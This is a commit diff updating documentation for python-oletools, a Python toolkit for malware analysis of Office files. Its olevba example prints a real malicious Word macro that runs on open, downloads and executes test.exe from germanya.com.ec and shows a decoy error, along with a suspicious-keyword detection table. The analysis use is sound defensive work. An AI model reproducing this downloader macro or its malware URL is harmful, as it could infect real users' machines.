Commit 85f94f92cd644b2ab71be544dc7b9fc0eee446f5
1 parent
caa1e066
updated readme and doc
Showing
11 changed files
with
450 additions
and
107 deletions
oletools/README.html
| ... | ... | @@ -8,12 +8,13 @@ |
| 8 | 8 | </head> |
| 9 | 9 | <body> |
| 10 | 10 | <h1 id="python-oletools">python-oletools</h1> |
| 11 | -<p><a href="http://www.decalage.info/python/oletools">python-oletools</a> is a package of python tools to analyze <a href="http://en.wikipedia.org/wiki/Compound_File_Binary_Format">Microsoft OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format)</a>, such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on the <a href="http://www.decalage.info/python/olefileio">OleFileIO_PL</a> parser. See <a href="http://www.decalage.info/python/oletools">http://www.decalage.info/python/oletools</a> for more info.</p> | |
| 12 | -<p><strong>Quick links:</strong> <a href="http://www.decalage.info/python/oletools">Home page</a> - <a href="https://bitbucket.org/decalage/oletools/downloads">Download</a> - <a href="https://bitbucket.org/decalage/oletools/wiki">Documentation</a> - <a href="https://bitbucket.org/decalage/oletools/issues?status=new&status=open">Report Issues/Suggestions/Questions</a> - <a href="http://decalage.info/contact">Contact the Author</a> - <a href="https://bitbucket.org/decalage/oletools">Repository</a> - <a href="https://twitter.com/decalage2">Updates on Twitter</a></p> | |
| 11 | +<p><a href="http://www.decalage.info/python/oletools">python-oletools</a> is a package of python tools to analyze <a href="http://en.wikipedia.org/wiki/Compound_File_Binary_Format">Microsoft OLE2 files</a> (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on the <a href="http://www.decalage.info/olefile">olefile</a> parser. See <a href="http://www.decalage.info/python/oletools">http://www.decalage.info/python/oletools</a> for more info.</p> | |
| 12 | +<p><strong>Quick links:</strong> <a href="http://www.decalage.info/python/oletools">Home page</a> - <a href="https://bitbucket.org/decalage/oletools/wiki/Install">Download/Install</a> - <a href="https://bitbucket.org/decalage/oletools/wiki">Documentation</a> - <a href="https://bitbucket.org/decalage/oletools/issues?status=new&status=open">Report Issues/Suggestions/Questions</a> - <a href="http://decalage.info/contact">Contact the Author</a> - <a href="https://bitbucket.org/decalage/oletools">Repository</a> - <a href="https://twitter.com/decalage2">Updates on Twitter</a></p> | |
| 13 | 13 | <p>Note: python-oletools is not related to OLETools published by BeCubed Software.</p> |
| 14 | 14 | <h2 id="news">News</h2> |
| 15 | 15 | <ul> |
| 16 | -<li><strong>2014-08-28 v0.06</strong>: added <a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a>, a new tool to extract VBA Macro source code from MS Office documents (97-2003 and 2007+). Improved <a href="https://bitbucket.org/decalage/oletools/wiki">documentation</a></li> | |
| 16 | +<li><strong>2015-01-05 v0.07</strong>: improved <a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a> to detect suspicious keywords and IOCs in VBA macros, can now scan several files and open password-protected zip archives, added a Python API, upgraded OleFileIO_PL to olefile v0.41</li> | |
| 17 | +<li>2014-08-28 v0.06: added <a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a>, a new tool to extract VBA Macro source code from MS Office documents (97-2003 and 2007+). Improved <a href="https://bitbucket.org/decalage/oletools/wiki">documentation</a></li> | |
| 17 | 18 | <li>2013-07-24 v0.05: added new tools <a href="https://bitbucket.org/decalage/oletools/wiki/olemeta">olemeta</a> and <a href="https://bitbucket.org/decalage/oletools/wiki/oletimes">oletimes</a></li> |
| 18 | 19 | <li>2013-04-18 v0.04: fixed bug in rtfobj, added documentation for <a href="https://bitbucket.org/decalage/oletools/wiki/rtfobj">rtfobj</a></li> |
| 19 | 20 | <li>2012-11-09 v0.03: Improved <a href="https://bitbucket.org/decalage/oletools/wiki/pyxswf">pyxswf</a> to extract Flash objects from RTF</li> |
| ... | ... | @@ -27,13 +28,14 @@ |
| 27 | 28 | <li><a href="https://bitbucket.org/decalage/oletools/wiki/oleid">oleid</a>: a tool to analyze OLE files to detect specific characteristics usually found in malicious files.</li> |
| 28 | 29 | <li><a href="https://bitbucket.org/decalage/oletools/wiki/olemeta">olemeta</a>: a tool to extract all standard properties (metadata) from OLE files.</li> |
| 29 | 30 | <li><a href="https://bitbucket.org/decalage/oletools/wiki/oletimes">oletimes</a>: a tool to extract creation and modification timestamps of all streams and storages.</li> |
| 30 | -<li><a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a> (new): a tool to extract VBA Macro source code from MS Office documents (OLE and OpenXML).</li> | |
| 31 | +<li><a href="https://bitbucket.org/decalage/oletools/wiki/olevba">olevba</a>: a tool to extract and analyze VBA Macro source code from MS Office documents (OLE and OpenXML).</li> | |
| 31 | 32 | <li><a href="https://bitbucket.org/decalage/oletools/wiki/pyxswf">pyxswf</a>: a tool to detect, extract and analyze Flash objects (SWF) that may be embedded in files such as MS Office documents (e.g. Word, Excel) and RTF, which is especially useful for malware analysis.</li> |
| 32 | 33 | <li><a href="https://bitbucket.org/decalage/oletools/wiki/rtfobj">rtfobj</a>: a tool and python module to extract embedded objects from RTF files.</li> |
| 33 | 34 | <li>and a few others (coming soon)</li> |
| 34 | 35 | </ul> |
| 35 | 36 | <h2 id="download-and-install">Download and Install:</h2> |
| 36 | 37 | <p>To use python-oletools from the command line as analysis tools, you may simply <a href="https://bitbucket.org/decalage/oletools/downloads">download the zip archive</a> and extract the files in the directory of your choice.</p> |
| 38 | +<p>To get the latest development version, click on "Download repository" on the <a href="https://bitbucket.org/decalage/oletools/downloads">downloads page</a>, or use mercurial to clone the repository.</p> | |
| 37 | 39 | <p>If you plan to use python-oletools with other Python applications or your own scripts, then the simplest solution is to use "<strong>pip install oletools</strong>" or "<strong>easy_install oletools</strong>" to download and install in one go. Otherwise you may download/extract the zip archive and run "<strong>setup.py install</strong>".</p> |
| 38 | 40 | <h2 id="documentation">Documentation:</h2> |
| 39 | 41 | <p>The latest version of the documentation can be found <a href="https://bitbucket.org/decalage/oletools/wiki">online</a>, otherwise a copy is provided in the doc subfolder of the package.</p> |
| ... | ... | @@ -44,7 +46,7 @@ |
| 44 | 46 | <p>The code is available in <a href="https://bitbucket.org/decalage/oletools">a Mercurial repository on Bitbucket</a>. You may use it to submit enhancements using forks and pull requests.</p> |
| 45 | 47 | <h2 id="license">License</h2> |
| 46 | 48 | <p>This license applies to the python-oletools package, apart from the thirdparty folder which contains third-party files published with their own license.</p> |
| 47 | -<p>The python-oletools package is copyright (c) 2012-2014 Philippe Lagadec (http://www.decalage.info)</p> | |
| 49 | +<p>The python-oletools package is copyright (c) 2012-2015 Philippe Lagadec (http://www.decalage.info)</p> | |
| 48 | 50 | <p>All rights reserved.</p> |
| 49 | 51 | <p>Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:</p> |
| 50 | 52 | <ul> | ... | ... |
oletools/README.rst
| ... | ... | @@ -2,19 +2,19 @@ python-oletools |
| 2 | 2 | =============== |
| 3 | 3 | |
| 4 | 4 | `python-oletools <http://www.decalage.info/python/oletools>`_ is a |
| 5 | -package of python tools to analyze `Microsoft OLE2 files (also called | |
| 6 | -Structured Storage, Compound File Binary Format or Compound Document | |
| 7 | -File | |
| 8 | -Format) <http://en.wikipedia.org/wiki/Compound_File_Binary_Format>`_, | |
| 9 | -such as Microsoft Office documents or Outlook messages, mainly for | |
| 10 | -malware analysis, forensics and debugging. It is based on the | |
| 11 | -`OleFileIO\_PL <http://www.decalage.info/python/olefileio>`_ parser. See | |
| 5 | +package of python tools to analyze `Microsoft OLE2 | |
| 6 | +files <http://en.wikipedia.org/wiki/Compound_File_Binary_Format>`_ (also | |
| 7 | +called Structured Storage, Compound File Binary Format or Compound | |
| 8 | +Document File Format), such as Microsoft Office documents or Outlook | |
| 9 | +messages, mainly for malware analysis, forensics and debugging. It is | |
| 10 | +based on the `olefile <http://www.decalage.info/olefile>`_ parser. See | |
| 12 | 11 | `http://www.decalage.info/python/oletools <http://www.decalage.info/python/oletools>`_ |
| 13 | 12 | for more info. |
| 14 | 13 | |
| 15 | 14 | **Quick links:** `Home page <http://www.decalage.info/python/oletools>`_ |
| 16 | -- `Download <https://bitbucket.org/decalage/oletools/downloads>`_ - | |
| 17 | -`Documentation <https://bitbucket.org/decalage/oletools/wiki>`_ - | |
| 15 | +- | |
| 16 | +`Download/Install <https://bitbucket.org/decalage/oletools/wiki/Install>`_ | |
| 17 | +- `Documentation <https://bitbucket.org/decalage/oletools/wiki>`_ - | |
| 18 | 18 | `Report |
| 19 | 19 | Issues/Suggestions/Questions <https://bitbucket.org/decalage/oletools/issues?status=new&status=open>`_ |
| 20 | 20 | - `Contact the Author <http://decalage.info/contact>`_ - |
| ... | ... | @@ -27,7 +27,12 @@ Software. |
| 27 | 27 | News |
| 28 | 28 | ---- |
| 29 | 29 | |
| 30 | -- **2014-08-28 v0.06**: added | |
| 30 | +- **2015-01-05 v0.07**: improved | |
| 31 | + `olevba <https://bitbucket.org/decalage/oletools/wiki/olevba>`_ to | |
| 32 | + detect suspicious keywords and IOCs in VBA macros, can now scan | |
| 33 | + several files and open password-protected zip archives, added a | |
| 34 | + Python API, upgraded OleFileIO\_PL to olefile v0.41 | |
| 35 | +- 2014-08-28 v0.06: added | |
| 31 | 36 | `olevba <https://bitbucket.org/decalage/oletools/wiki/olevba>`_, a |
| 32 | 37 | new tool to extract VBA Macro source code from MS Office documents |
| 33 | 38 | (97-2003 and 2007+). Improved |
| ... | ... | @@ -61,8 +66,8 @@ Tools in python-oletools: |
| 61 | 66 | - `oletimes <https://bitbucket.org/decalage/oletools/wiki/oletimes>`_: |
| 62 | 67 | a tool to extract creation and modification timestamps of all streams |
| 63 | 68 | and storages. |
| 64 | -- `olevba <https://bitbucket.org/decalage/oletools/wiki/olevba>`_ | |
| 65 | - (new): a tool to extract VBA Macro source code from MS Office | |
| 69 | +- `olevba <https://bitbucket.org/decalage/oletools/wiki/olevba>`_: a | |
| 70 | + tool to extract and analyze VBA Macro source code from MS Office | |
| 66 | 71 | documents (OLE and OpenXML). |
| 67 | 72 | - `pyxswf <https://bitbucket.org/decalage/oletools/wiki/pyxswf>`_: a |
| 68 | 73 | tool to detect, extract and analyze Flash objects (SWF) that may be |
| ... | ... | @@ -80,6 +85,11 @@ simply `download the zip |
| 80 | 85 | archive <https://bitbucket.org/decalage/oletools/downloads>`_ and |
| 81 | 86 | extract the files in the directory of your choice. |
| 82 | 87 | |
| 88 | +To get the latest development version, click on "Download repository" on | |
| 89 | +the `downloads | |
| 90 | +page <https://bitbucket.org/decalage/oletools/downloads>`_, or use | |
| 91 | +mercurial to clone the repository. | |
| 92 | + | |
| 83 | 93 | If you plan to use python-oletools with other Python applications or |
| 84 | 94 | your own scripts, then the simplest solution is to use "**pip install |
| 85 | 95 | oletools**\ " or "**easy\_install oletools**\ " to download and install |
| ... | ... | @@ -118,7 +128,7 @@ This license applies to the python-oletools package, apart from the |
| 118 | 128 | thirdparty folder which contains third-party files published with their |
| 119 | 129 | own license. |
| 120 | 130 | |
| 121 | -The python-oletools package is copyright (c) 2012-2014 Philippe Lagadec | |
| 131 | +The python-oletools package is copyright (c) 2012-2015 Philippe Lagadec | |
| 122 | 132 | (http://www.decalage.info) |
| 123 | 133 | |
| 124 | 134 | All rights reserved. | ... | ... |
oletools/doc/Contribute.md
| ... | ... | @@ -3,11 +3,13 @@ How to Suggest Improvements, Report Issues or Contribute |
| 3 | 3 | |
| 4 | 4 | This is a personal open-source project, developed on my spare time. Any contribution, suggestion, feedback or bug report is welcome. |
| 5 | 5 | |
| 6 | -To **suggest improvements, report a bug or any issue**, please use the [issue reporting page](https://bitbucket.org/decalage/oletools/issues?status=new&status=open), providing all the information and files to reproduce the problem. | |
| 6 | +To **suggest improvements, report a bug or any issue**, please use the [issue reporting page](https://bitbucket.org/decalage/oletools/issues?status=new&status=open), | |
| 7 | +providing all the information and files to reproduce the problem. | |
| 7 | 8 | |
| 8 | 9 | You may also [contact the author](http://decalage.info/contact) directly to **provide feedback**. |
| 9 | 10 | |
| 10 | -The code is available in [a Mercurial repository on Bitbucket](https://bitbucket.org/decalage/oletools). You may use it to **submit enhancements** using forks and pull requests. | |
| 11 | +The code is available in [a Mercurial repository on Bitbucket](https://bitbucket.org/decalage/oletools). | |
| 12 | +You may use it to **submit enhancements** using forks and pull requests. | |
| 11 | 13 | |
| 12 | 14 | -------------------------------------------------------------------------- |
| 13 | 15 | ... | ... |
oletools/doc/Home.html
| ... | ... | @@ -7,10 +7,10 @@ |
| 7 | 7 | <title></title> |
| 8 | 8 | </head> |
| 9 | 9 | <body> |
| 10 | -<h1 id="python-oletools-v0.06-documentation">python-oletools v0.06 documentation</h1> | |
| 10 | +<h1 id="python-oletools-v0.07-documentation">python-oletools v0.07 documentation</h1> | |
| 11 | 11 | <p>This is the home page of the documentation for python-oletools. The latest version can be found <a href="https://bitbucket.org/decalage/oletools/wiki">online</a>, otherwise a copy is provided in the doc subfolder of the package.</p> |
| 12 | -<p><a href="http://www.decalage.info/python/oletools">python-oletools</a> is a package of python tools to analyze <a href="http://en.wikipedia.org/wiki/Compound_File_Binary_Format">Microsoft OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format)</a>, such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on the <a href="http://www.decalage.info/python/olefileio">OleFileIO_PL</a> parser. See <a href="http://www.decalage.info/python/oletools">http://www.decalage.info/python/oletools</a> for more info.</p> | |
| 13 | -<p><strong>Quick links:</strong> <a href="http://www.decalage.info/python/oletools">Home page</a> - <a href="https://bitbucket.org/decalage/oletools/downloads">Download</a> - <a href="https://bitbucket.org/decalage/oletools/wiki">Documentation</a> - <a href="https://bitbucket.org/decalage/oletools/issues?status=new&status=open">Report Issues/Suggestions/Questions</a> - <a href="http://decalage.info/contact">Contact the author</a> - <a href="https://bitbucket.org/decalage/oletools">Repository</a> - <a href="https://twitter.com/decalage2">Updates on Twitter</a></p> | |
| 12 | +<p><a href="http://www.decalage.info/python/oletools">python-oletools</a> is a package of python tools to analyze <a href="http://en.wikipedia.org/wiki/Compound_File_Binary_Format">Microsoft OLE2 files</a> (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on the <a href="http://www.decalage.info/olefile">olefile</a> parser. See <a href="http://www.decalage.info/python/oletools">http://www.decalage.info/python/oletools</a> for more info.</p> | |
| 13 | +<p><strong>Quick links:</strong> <a href="http://www.decalage.info/python/oletools">Home page</a> - <a href="https://bitbucket.org/decalage/oletools/wiki/Install">Download/Install</a> - <a href="https://bitbucket.org/decalage/oletools/wiki">Documentation</a> - <a href="https://bitbucket.org/decalage/oletools/issues?status=new&status=open">Report Issues/Suggestions/Questions</a> - <a href="http://decalage.info/contact">Contact the author</a> - <a href="https://bitbucket.org/decalage/oletools">Repository</a> - <a href="https://twitter.com/decalage2">Updates on Twitter</a></p> | |
| 14 | 14 | <p>Note: python-oletools is not related to OLETools published by BeCubed Software.</p> |
| 15 | 15 | <h2 id="tools-in-python-oletools">Tools in python-oletools:</h2> |
| 16 | 16 | <ul> | ... | ... |
oletools/doc/Home.md
| 1 | -python-oletools v0.06 documentation | |
| 1 | +python-oletools v0.07 documentation | |
| 2 | 2 | =================================== |
| 3 | 3 | |
| 4 | -This is the home page of the documentation for python-oletools. The latest version can be found [online](https://bitbucket.org/decalage/oletools/wiki), otherwise a copy is provided in the doc subfolder of the package. | |
| 5 | - | |
| 6 | -[python-oletools](http://www.decalage.info/python/oletools) is a package of python tools to analyze [Microsoft OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format)](http://en.wikipedia.org/wiki/Compound_File_Binary_Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on the [OleFileIO_PL](http://www.decalage.info/python/olefileio) parser. See [http://www.decalage.info/python/oletools](http://www.decalage.info/python/oletools) for more info. | |
| 7 | - | |
| 8 | -**Quick links:** [Home page](http://www.decalage.info/python/oletools) - [Download](https://bitbucket.org/decalage/oletools/downloads) - [Documentation](https://bitbucket.org/decalage/oletools/wiki) - [Report Issues/Suggestions/Questions](https://bitbucket.org/decalage/oletools/issues?status=new&status=open) - [Contact the author](http://decalage.info/contact) - [Repository](https://bitbucket.org/decalage/oletools) - [Updates on Twitter](https://twitter.com/decalage2) | |
| 4 | +This is the home page of the documentation for python-oletools. The latest version can be found | |
| 5 | +[online](https://bitbucket.org/decalage/oletools/wiki), otherwise a copy is provided in the doc subfolder of the package. | |
| 6 | + | |
| 7 | +[python-oletools](http://www.decalage.info/python/oletools) is a package of python tools to analyze | |
| 8 | +[Microsoft OLE2 files](http://en.wikipedia.org/wiki/Compound_File_Binary_Format) | |
| 9 | +(also called Structured Storage, Compound File Binary Format or Compound Document File Format), | |
| 10 | +such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. | |
| 11 | +It is based on the [olefile](http://www.decalage.info/olefile) parser. | |
| 12 | +See [http://www.decalage.info/python/oletools](http://www.decalage.info/python/oletools) for more info. | |
| 13 | + | |
| 14 | +**Quick links:** [Home page](http://www.decalage.info/python/oletools) - | |
| 15 | +[Download/Install](https://bitbucket.org/decalage/oletools/wiki/Install) - | |
| 16 | +[Documentation](https://bitbucket.org/decalage/oletools/wiki) - | |
| 17 | +[Report Issues/Suggestions/Questions](https://bitbucket.org/decalage/oletools/issues?status=new&status=open) - | |
| 18 | +[Contact the author](http://decalage.info/contact) - | |
| 19 | +[Repository](https://bitbucket.org/decalage/oletools) - | |
| 20 | +[Updates on Twitter](https://twitter.com/decalage2) | |
| 9 | 21 | |
| 10 | 22 | Note: python-oletools is not related to OLETools published by BeCubed Software. |
| 11 | 23 | ... | ... |
oletools/doc/Install.html
| ... | ... | @@ -13,6 +13,7 @@ |
| 13 | 13 | <h2 id="for-command-line-tools">For command-line tools</h2> |
| 14 | 14 | <p>To use python-oletools from the command line as analysis tools, you may simply <a href="https://bitbucket.org/decalage/oletools/downloads">download the zip archive</a> and extract the files in the directory of your choice.</p> |
| 15 | 15 | <p>You may then add the directory to your PATH environment variable to access the tools from anywhere.</p> |
| 16 | +<p>To get the latest development version, click on "Download repository" on the <a href="https://bitbucket.org/decalage/oletools/downloads">downloads page</a>, or use mercurial to clone the repository.</p> | |
| 16 | 17 | <h2 id="for-python-applications">For python applications</h2> |
| 17 | 18 | <p>If you plan to use python-oletools with other Python applications or your own scripts, the simplest solution is to use "<strong>pip install oletools</strong>" or "<strong>easy_install oletools</strong>" to download and install the package in one go.</p> |
| 18 | 19 | <p>Otherwise you may download/extract the <a href="https://bitbucket.org/decalage/oletools/downloads">zip archive</a> in a temporary directory and run "<strong>python setup.py install</strong>".</p> | ... | ... |
oletools/doc/Install.md
| ... | ... | @@ -10,16 +10,24 @@ For now, python-oletools require Python 2.x. They are not compatible with Python |
| 10 | 10 | For command-line tools |
| 11 | 11 | ---------------------- |
| 12 | 12 | |
| 13 | -To use python-oletools from the command line as analysis tools, you may simply [download the zip archive](https://bitbucket.org/decalage/oletools/downloads) and extract the files in the directory of your choice. | |
| 13 | +To use python-oletools from the command line as analysis tools, you may simply | |
| 14 | +[download the zip archive](https://bitbucket.org/decalage/oletools/downloads) | |
| 15 | +and extract the files in the directory of your choice. | |
| 14 | 16 | |
| 15 | 17 | You may then add the directory to your PATH environment variable to access the tools from anywhere. |
| 16 | 18 | |
| 19 | +To get the latest development version, click on "Download repository" on the | |
| 20 | +[downloads page](https://bitbucket.org/decalage/oletools/downloads), or use mercurial to clone the repository. | |
| 21 | + | |
| 22 | + | |
| 17 | 23 | For python applications |
| 18 | 24 | ---------------------- |
| 19 | 25 | |
| 20 | -If you plan to use python-oletools with other Python applications or your own scripts, the simplest solution is to use "**pip install oletools**" or "**easy_install oletools**" to download and install the package in one go. | |
| 26 | +If you plan to use python-oletools with other Python applications or your own scripts, the simplest solution is to use | |
| 27 | +"**pip install oletools**" or "**easy_install oletools**" to download and install the package in one go. | |
| 21 | 28 | |
| 22 | -Otherwise you may download/extract the [zip archive](https://bitbucket.org/decalage/oletools/downloads) in a temporary directory and run "**python setup.py install**". | |
| 29 | +Otherwise you may download/extract the [zip archive](https://bitbucket.org/decalage/oletools/downloads) in a temporary | |
| 30 | +directory and run "**python setup.py install**". | |
| 23 | 31 | |
| 24 | 32 | -------------------------------------------------------------------------- |
| 25 | 33 | ... | ... |
oletools/doc/License.html
| ... | ... | @@ -9,7 +9,7 @@ |
| 9 | 9 | <body> |
| 10 | 10 | <h1 id="license-for-python-oletools">License for python-oletools</h1> |
| 11 | 11 | <p>This license applies to the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package, apart from the thirdparty folder which contains third-party files published with their own license.</p> |
| 12 | -<p>The python-oletools package is copyright (c) 2012-2014 Philippe Lagadec (<a href="http://www.decalage.info">http://www.decalage.info</a>)</p> | |
| 12 | +<p>The python-oletools package is copyright (c) 2012-2015 Philippe Lagadec (<a href="http://www.decalage.info">http://www.decalage.info</a>)</p> | |
| 13 | 13 | <p>All rights reserved.</p> |
| 14 | 14 | <p>Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:</p> |
| 15 | 15 | <ul> | ... | ... |
oletools/doc/License.md
| 1 | 1 | License for python-oletools |
| 2 | 2 | =========================== |
| 3 | 3 | |
| 4 | -This license applies to the [python-oletools](http://www.decalage.info/python/oletools) package, apart from the thirdparty folder which contains third-party files published with their own license. | |
| 4 | +This license applies to the [python-oletools](http://www.decalage.info/python/oletools) package, apart from the | |
| 5 | +thirdparty folder which contains third-party files published with their own license. | |
| 5 | 6 | |
| 6 | -The python-oletools package is copyright (c) 2012-2014 Philippe Lagadec ([http://www.decalage.info](http://www.decalage.info)) | |
| 7 | +The python-oletools package is copyright (c) 2012-2015 Philippe Lagadec ([http://www.decalage.info](http://www.decalage.info)) | |
| 7 | 8 | |
| 8 | 9 | All rights reserved. |
| 9 | 10 | ... | ... |
oletools/doc/olevba.html
| ... | ... | @@ -8,36 +8,55 @@ |
| 8 | 8 | </head> |
| 9 | 9 | <body> |
| 10 | 10 | <h1 id="olevba">olevba</h1> |
| 11 | -<p>olevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to extract VBA Macro code in clear text.</p> | |
| 11 | +<p>olevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to <strong>detect VBA Macros</strong>, extract their <strong>source code</strong> in clear text, and detect security-related patterns such as <strong>auto-executable macros</strong>, <strong>suspicious VBA keywords</strong> used by malware, and potential <strong>IOCs</strong> (IP addresses, URLs, executable filenames, etc).</p> | |
| 12 | +<p>It can be used either as a command-line tool, or as a python module from your own applications.</p> | |
| 12 | 13 | <p>It is part of the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package.</p> |
| 13 | -<p>Supported formats:</p> | |
| 14 | +<p>olevba is based on source code from <a href="https://github.com/unixfreak0037/officeparser">officeparser</a> by John William Davison, with significant modifications.</p> | |
| 15 | +<h2 id="supported-formats">Supported formats</h2> | |
| 14 | 16 | <ul> |
| 15 | 17 | <li>Word 97-2003 (.doc, .dot), Word 2007+ (.docm, .dotm)</li> |
| 16 | 18 | <li>Excel 97-2003 (.xls), Excel 2007+ (.xlsm, .xlsb)</li> |
| 17 | 19 | <li>PowerPoint 2007+ (.pptm, .ppsm)</li> |
| 18 | 20 | </ul> |
| 19 | -<p>olevba is based on source code from <a href="https://github.com/unixfreak0037/officeparser">officeparser</a> by John William Davison</p> | |
| 21 | +<h2 id="main-features">Main Features</h2> | |
| 22 | +<ul> | |
| 23 | +<li>Detect VBA macros in MS Office 97-2003 and 2007+ files</li> | |
| 24 | +<li>Extract VBA macro source code</li> | |
| 25 | +<li>Detect auto-executable macros</li> | |
| 26 | +<li>Detect suspicious VBA keywords often used by malware</li> | |
| 27 | +<li>Extract IOCs/patterns of interest such as IP addresses, URLs, e-mail addresses and executable file names</li> | |
| 28 | +<li>Scan multiple files and sample collections (wildcards, recursive)</li> | |
| 29 | +<li>Scan malware samples in password-protected Zip archives</li> | |
| 30 | +<li>Python API to use olevba from your applications</li> | |
| 31 | +</ul> | |
| 32 | +<p>MS Office files encrypted with a password are also supported, because VBA macro code is never encrypted, only the content of the document.</p> | |
| 33 | +<h2 id="about-vba-macros">About VBA Macros</h2> | |
| 34 | +<p>See <a href="http://www.decalage.info/en/vba_tools">this article</a> for more information and technical details about VBA Macros and how they are stored in MS Office documents.</p> | |
| 20 | 35 | <h2 id="usage">Usage</h2> |
| 21 | -<pre><code>olevba.py <file></code></pre> | |
| 36 | +<pre><code>Usage: olevba.py [options] <filename> [filename2 ...] | |
| 37 | + | |
| 38 | +Options: | |
| 39 | + -h, --help show this help message and exit | |
| 40 | + -r find files recursively in subdirectories. | |
| 41 | + -z ZIP_PASSWORD, --zip=ZIP_PASSWORD | |
| 42 | + if the file is a zip archive, open first file from it, | |
| 43 | + using the provided password (requires Python 2.6+) | |
| 44 | + -f ZIP_FNAME, --zipfname=ZIP_FNAME | |
| 45 | + if the file is a zip archive, file(s) to be opened | |
| 46 | + within the zip. Wildcards * and ? are supported. | |
| 47 | + (default:*)</code></pre> | |
| 22 | 48 | <h3 id="example">Example</h3> |
| 23 | 49 | <p>Checking the malware sample <a href="https://malwr.com/analysis/M2I4YWRhM2IwY2QwNDljN2E3ZWFjYTg3ODk4NmZhYmE/">DIAN_caso-5415.doc</a>:</p> |
| 24 | -<pre><code>>olevba.py DIAN_caso-5415.doc | |
| 25 | - | |
| 26 | -INFO: Extracting VBA Macros from OLE file DIAN_caso-5415.doc | |
| 27 | - | |
| 50 | +<pre><code>>olevba.py c:\MalwareZoo\VBA\DIAN_caso-5415.doc.zip -z infected | |
| 51 | +=============================================================================== | |
| 52 | +FILE: DIAN_caso-5415.doc.malware in c:\MalwareZoo\VBA\DIAN_caso-5415.doc.zip | |
| 53 | +Type: OLE | |
| 28 | 54 | ------------------------------------------------------------------------------- |
| 29 | -ThisDocument.cls | |
| 30 | - | |
| 31 | -Attribute VB_Name = "ThisDocument" | |
| 32 | -Attribute VB_Base = "1Normal.ThisDocument" | |
| 33 | -Attribute VB_GlobalNameSpace = False | |
| 34 | -Attribute VB_Creatable = False | |
| 35 | -Attribute VB_PredeclaredId = True | |
| 36 | -Attribute VB_Exposed = True | |
| 37 | -Attribute VB_TemplateDerived = True | |
| 38 | -Attribute VB_Customizable = True | |
| 55 | +VBA MACRO ThisDocument.cls | |
| 56 | +in file: DIAN_caso-5415.doc.malware - OLE stream: Macros/VBA/ThisDocument | |
| 57 | +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
| 39 | 58 | Option Explicit |
| 40 | -Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal FVQGKS As Long, _ | |
| 59 | +Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal FVQGKS As Long,_ | |
| 41 | 60 | ByVal WSGSGY As String, ByVal IFRRFV As String, ByVal NCVOLV As Long, _ |
| 42 | 61 | ByVal HQTLDG As Long) As Long |
| 43 | 62 | Sub AutoOpen() |
| ... | ... | @@ -47,7 +66,8 @@ Sub Auto_Open() |
| 47 | 66 | SNVJYQ |
| 48 | 67 | End Sub |
| 49 | 68 | Public Sub SNVJYQ() |
| 50 | - OGEXYR "http://germanya.com.ec/logs/test.exe", Environ("TMP") & "\sfjozjero.exe" | |
| 69 | + OGEXYR "http://germanya.com.ec/logs/test.exe", Environ("TMP") & "\sfjozjero. | |
| 70 | +exe" | |
| 51 | 71 | End Sub |
| 52 | 72 | Function OGEXYR(XSTAHU As String, PHHWIV As String) As Boolean |
| 53 | 73 | Dim HRKUYU, lala As Long |
| ... | ... | @@ -55,16 +75,111 @@ Function OGEXYR(XSTAHU As String, PHHWIV As String) As Boolean |
| 55 | 75 | If HRKUYU = 0 Then OGEXYR = True |
| 56 | 76 | Dim YKPZZS |
| 57 | 77 | YKPZZS = Shell(PHHWIV, 1) |
| 58 | - MsgBox "El contenido de este documento no es compatible con este equipo." & vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Equipo no compatible" | |
| 59 | - lala = URLDownloadToFileA(0, "http://germanya.com.ec/logs/counter.php", Environ("TMP") & "\lkjljlljk", 0, 0) | |
| 78 | + MsgBox "El contenido de este documento no es compatible con este equipo." & | |
| 79 | +vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Equipo no | |
| 80 | + compatible" | |
| 81 | + lala = URLDownloadToFileA(0, "http://germanya.com.ec/logs/counter.php", Envi | |
| 82 | +ron("TMP") & "\lkjljlljk", 0, 0) | |
| 60 | 83 | Application.DisplayAlerts = False |
| 61 | 84 | Application.Quit |
| 62 | 85 | End Function |
| 63 | 86 | Sub Workbook_Open() |
| 64 | 87 | Auto_Open |
| 65 | -End Sub</code></pre> | |
| 88 | +End Sub | |
| 89 | + | |
| 90 | +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
| 91 | +ANALYSIS: | |
| 92 | ++------------+----------------------+-----------------------------------------+ | |
| 93 | +| Type | Keyword | Description | | |
| 94 | ++------------+----------------------+-----------------------------------------+ | |
| 95 | +| AutoExec | AutoOpen | Runs when the Word document is opened | | |
| 96 | +| AutoExec | Auto_Open | Runs when the Excel Workbook is opened | | |
| 97 | +| AutoExec | Workbook_Open | Runs when the Excel Workbook is opened | | |
| 98 | +| Suspicious | Lib | May run code from a DLL | | |
| 99 | +| Suspicious | Shell | May run an executable file or a system | | |
| 100 | +| | | command | | |
| 101 | +| Suspicious | Environ | May read system environment variables | | |
| 102 | +| Suspicious | URLDownloadToFileA | May download files from the Internet | | |
